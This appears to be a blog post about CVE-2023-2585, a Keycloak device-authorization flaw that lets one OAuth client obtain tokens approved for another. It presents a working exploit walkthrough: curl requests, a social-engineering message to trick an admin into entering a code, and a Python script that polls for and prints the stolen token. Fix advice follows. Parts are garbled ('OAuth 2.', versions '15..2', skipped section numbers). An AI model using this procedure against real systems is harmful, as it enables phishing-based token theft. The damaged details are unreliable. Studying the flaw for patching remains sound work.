CVE-2023-2585 - How Keycloak’s Device Authorization Flaw Could Let Attackers Trick OAuth Admins (With Exploit Walkthrough)
Keycloak is one of today’s most relied-upon open source identity and access management (IAM) solutions. If you use OAuth in your organization, there’s a good chance you’ve interacted with Keycloak, either directly or through integrations. Recently, a critical security weakness has been discovered, identified as CVE-2023-2585, affecting Keycloak’s implementation of the Device Authorization Grant.
In simple words, this bug means that a hacker could trick an admin into consenting to a rogue app or gain access to an existing one—all with minimal effort, just by abusing poor validation on Keycloak’s side.
This post breaks down the bug, shows step-by-step how it might be exploited, and provides code snippets so you can understand what went wrong and how to close this security gap.
1. What is the Device Authorization Grant (and Why Use It)?
Device Authorization Grant (sometimes called “device code flow”) is an OAuth 2. flow designed for devices that can’t open a browser or have limited input, like smart TVs or IoT gadgets.
Device requests a device code and user code from the authorization server (Keycloak).
2. The User visits a verification URL (like login.company.com/device), enters the code, and authorizes access.
Once approved, the device gets an OAuth access token.
In this flow, devices are tied to a client ID (i.e., which app is asking?), so consent is reliably tracked.
2. What’s the Bug (CVE-2023-2585)?
The bug:
Keycloak’s handler for the Device Authorization Grant does not properly check that the device code shown to the user and the client ID making requests are bound together.
This means a malicious app can start a device authorization process, get its own device code, and then make the user authorize this code as if it belonged to a trusted—or different—client app.
If the admin is not paying close attention, they might grant consent to a hacker’s OAuth client or accidentally leak OAuth tokens to someone unauthorized.
Impact:
Attackers could spoof consent screens.
- Admins/users can be tricked into granting access for the wrong app.
Step 1: Attacker Registers a Malicious OAuth Client
The attacker creates their own OAuth client (evil-app) in Keycloak, possibly with limited or even generic permissions.
Step 2: Attacker Initiates Device Authorization
curl -X POST \
-d "client_id=evil-app" \
-d "scope=openid" \
https://keycloak.example.com/auth/realms/master/protocol/openid-connect/device/auth
Response
{
"device_code": "X-EVIL-DEVICE-CODE",
"user_code": "WXYZ-1234",
"verification_uri": "https://keycloak.example.com/realms/master/device";,
...
}
### Step 3: Attacker Gets a Victim/Admin to Authorize Code
The attacker sends the user_code (WXYZ-1234) and verification URI to an admin, making it look like a valid access request for a trusted app.
Social engineering example message
> “To finish the device setup, please enter code WXYZ-1234 at the page below:
> https://keycloak.example.com/realms/master/device
> This is the usual consent for the ‘trusted-tv-app’.”
### Step 4: User/Admin Approves Code
Admin visits the device code URL and enters the code, believing it's for a legitimate client (e.g., trusted-tv-app).
The attacker polls for the token with their own client id (evil-app)
curl -X POST \
-d "client_id=evil-app" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
-d "device_code=X-EVIL-DEVICE-CODE" \
https://keycloak.example.com/auth/realms/master/protocol/openid-connect/token
If the admin has approved, the attacker now gets a valid OAuth token that should have only been issued to a legitimate client.
4. Code Walkthrough: Why This Happens
Keycloak should bind the device_code only to the client that started the flow, i.e., device_code + client_id must match!
But due to the bug, the server only checks if the device_code is valid and ignores whether the client_id matches the original registration.
Pseudo-code of buggy logic
// Device code lookup
DeviceCodeEntry entry = deviceCodeStore.get(device_code);
// Bug: Doesn't check if entry.client_id == client_id in request
if (entry != null && entry.isValid()) {
// Issue token
}
Fix: Add a check that entry.clientId.equals(client_id).
Here’s a simple example (written for demonstration; tweak endpoints as needed)
import requests
# Step 1: Get device code for evil-app
response = requests.post("https://keycloak.example.com/auth/realms/master/protocol/openid-connect/device/auth", data={
"client_id": "evil-app",
"scope": "openid"
}).json()
device_code = response["device_code"]
user_code = response["user_code"]
verification_uri = response["verification_uri"]
print(f"Trick admin into visiting {verification_uri} and entering code {user_code}")
# Step 2: Poll for token after admin authorizes
while True:
token_res = requests.post("https://keycloak.example.com/auth/realms/master/protocol/openid-connect/token", data={
"client_id": "evil-app", # can also try using another client id!
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": device_code
})
if token_res.status_code == 200:
print("Got token:", token_res.json())
break
6. References & Official Resources
- Keycloak Security Advisory & Fix
- CVE Details: CVE-2023-2585
- OAuth 2. Device Authorization Grant - RFC8628
7. How to Fix & Protect Against CVE-2023-2585
- Patch Keycloak: All versions from 15..2 to 21.1.1 are affected. Update immediately to a version with the fix (see security advisory).
- Force consent dialogs to display client name/app ID clearly.
- Train administrators: Never approve device codes unless you’re sure of the client requesting access.
8. Conclusion
CVE-2023-2585 isn’t just theoretical—it’s easy to exploit and can lead to real OAuth account hijacks or privilege escalation. If you use Keycloak, prioritize this patch and verify your OAuth flows today.
Stay secure!
*This post is exclusive for educational/defensive use only. Don’t use this info for unauthorized attacks!*
*Written by an IAM security expert—share only with your infosec team!*
Timeline
Published on: 12/21/2023 10:15:34 UTC